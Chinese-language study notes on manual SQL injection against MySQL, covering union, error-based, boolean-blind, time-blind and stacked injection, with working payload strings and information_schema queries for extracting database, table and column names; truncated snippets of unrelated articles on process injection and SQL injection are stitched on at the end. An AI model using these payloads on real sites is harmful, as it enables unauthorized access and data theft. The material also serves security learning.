注入產生原因:使用者引數中夾帶sql語句,未加識別就被帶入到後台資料庫查詢。
相關知識點:mysql資料庫中有information_schema庫,當中有表
1.schemata:儲存該使用者建立的所有資料庫庫名,欄位為 schema_name
2.tables:儲存庫名和表名,欄位為 table_schema,table_name
3.columns:記錄庫名錶名欄位名,相關欄位為schema,table_name,column_name
limit用法:limit m,n
limit 0,1表示第一條記錄開始,取一條記錄
記住幾個函式,database(),version(),user()
注釋符,#,--,/**/
內聯注釋:/!code/
用於整個sql語句中,來執行我們自己的sql語句
例:index.php?id=-15 /!union/ /!select/ 1,2,3
union注入攻擊
用'確認某**可能存在sql注入漏洞
用order by確認該資料表的字段數量
(id=1 order by 3與id=1返回頁面相同,
order by 4返回頁面不同,則字段數為3)
通過設定引數id的值來返回union select 的結果(id=-1,庫中沒有-1的資料,則返回union select的結果,union select 1,2,3 返回2:3,則可以在2,3的位置輸入sql查詢語句,如datebase()得到資料庫名,接下來輸入,select table_name from information_schema.tables where table_schema='資料庫名' limit 0,1得到第乙個表名,select column_name from information_schema.colunms where table_schema='庫名' and table_name='表名' limit 0,1 獲得第乙個欄位名)
報錯注入
通過'發現某站點可能存在sql注入漏洞,並在注入'時程式直接將錯誤資訊輸出到了頁面上,故而可以用報錯注入獲取資料
相關的函式:
concat():為聚合函式,連線字串功能
floor():取float的整數值
rand():取0~1之間隨機浮點值
group by:為聚合函式,根據乙個或多個列對結果集進行分組並有排序功能
extractvalue() :對xml文件進行查詢的函式
其實就是相當於我們熟悉的html檔案中用
標籤查詢元素一樣
extractvalue(目標xml文件,xml路徑)
第二個引數 xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /***/***/***/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
正常查詢 第二個引數的位置格式 為 /***/xx/xx/xx ,即使查詢不到也不報錯
select username from security.user where id=1 and (extractvalue(『anything』,』/x/xx』))
使用concat()拼接 『 / 『 效果相同
updatexml()函式與extractvalue()類似,是更新xml文件的函式。
語法updatexml(目標xml文件,xml路徑,更新的內容)
select username from security.user where id=1 and (updatexml(『anything』,』/xx/xx』,』anything』))
布林盲注
某站點發現可能有sql注入漏洞,通過改變id值和加』發現頁面不返回資料庫中的資料(只返回正常或錯誤頁面),故而不使用union注入,改而使用布林注入,構造不同的sql語句,通過檢視頁面返回結果來推測那些sql判斷條件是成立的,以此獲得資料庫中的資料。
相關函式:(用於夾逼)
length():
substr():從1開始
ascii():
left():
判斷資料庫庫名的長度
' and length(database())>=1--+ (注釋掉後面的單引號)
判斷出庫名的長度以後逐字判斷資料庫庫名
' and substr(database(),1,1)='t'--+
這裡可以只用burpsuit來爆破
也可以使用ascii碼的字元進行查詢
' and ord(substr(database(),1,1))=115--+
然後構造sql語句以上述方法判斷表名
' and substr((select table_name from information_schema.tables where table_schema='庫名' limit 0,1),1,1)='e(字母)'--+
時間盲注
遇到布林盲注的前提情況下的另一種注入方法,時間注入
相關函式:
sleep()
benchmark()
if(expr1,expr2,expr3):如果expr1條件正確,則返回expr2的值,否expr3.
在burpsuit中可以看到響應時間
if(length(database())>1,sleep(5),1)判斷長度
判斷庫名稱
表名長度
表名,,,
堆疊注入
多語句之間用;隔開,執行多條語句,然後再第二條語句中構造自己要執行的語句,1'返回錯誤,1'%23返回正確
則可以使用布林,時間以及堆疊注入
';select if(substr(user(),1,1)='字母',sleep(3),1)%23
然後就可以用時間盲注的方法獲取資料
sql注入 手工注入
表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...
遠端注入手段 及 記憶體操作
有兩個函式可以用來實現上述功能 virtualallocex和createremotethread。這兩個函式都只能在windows nt下使用。virtualallocex函式可以用來在其他程序的位址空間內申請記憶體,當然申請到的記憶體也是位於目標程序的位址空間內的,將這個函式和writeproc...
SQL注入(手工篇)
開發人員在開發web系統時對輸入的資料沒有進行有效的驗證及過濾,就存在引發sql注入漏洞的可能,並導致檢視 插入 刪除資料庫的資料,甚至可以執行主機系統命令。1.可能出現asp?id x的 2.漏洞測試 1 單引號測試 在頁面中執行命令時使用成對單引號和單個單引號進行測試,檢視是否有sql注入 2 ...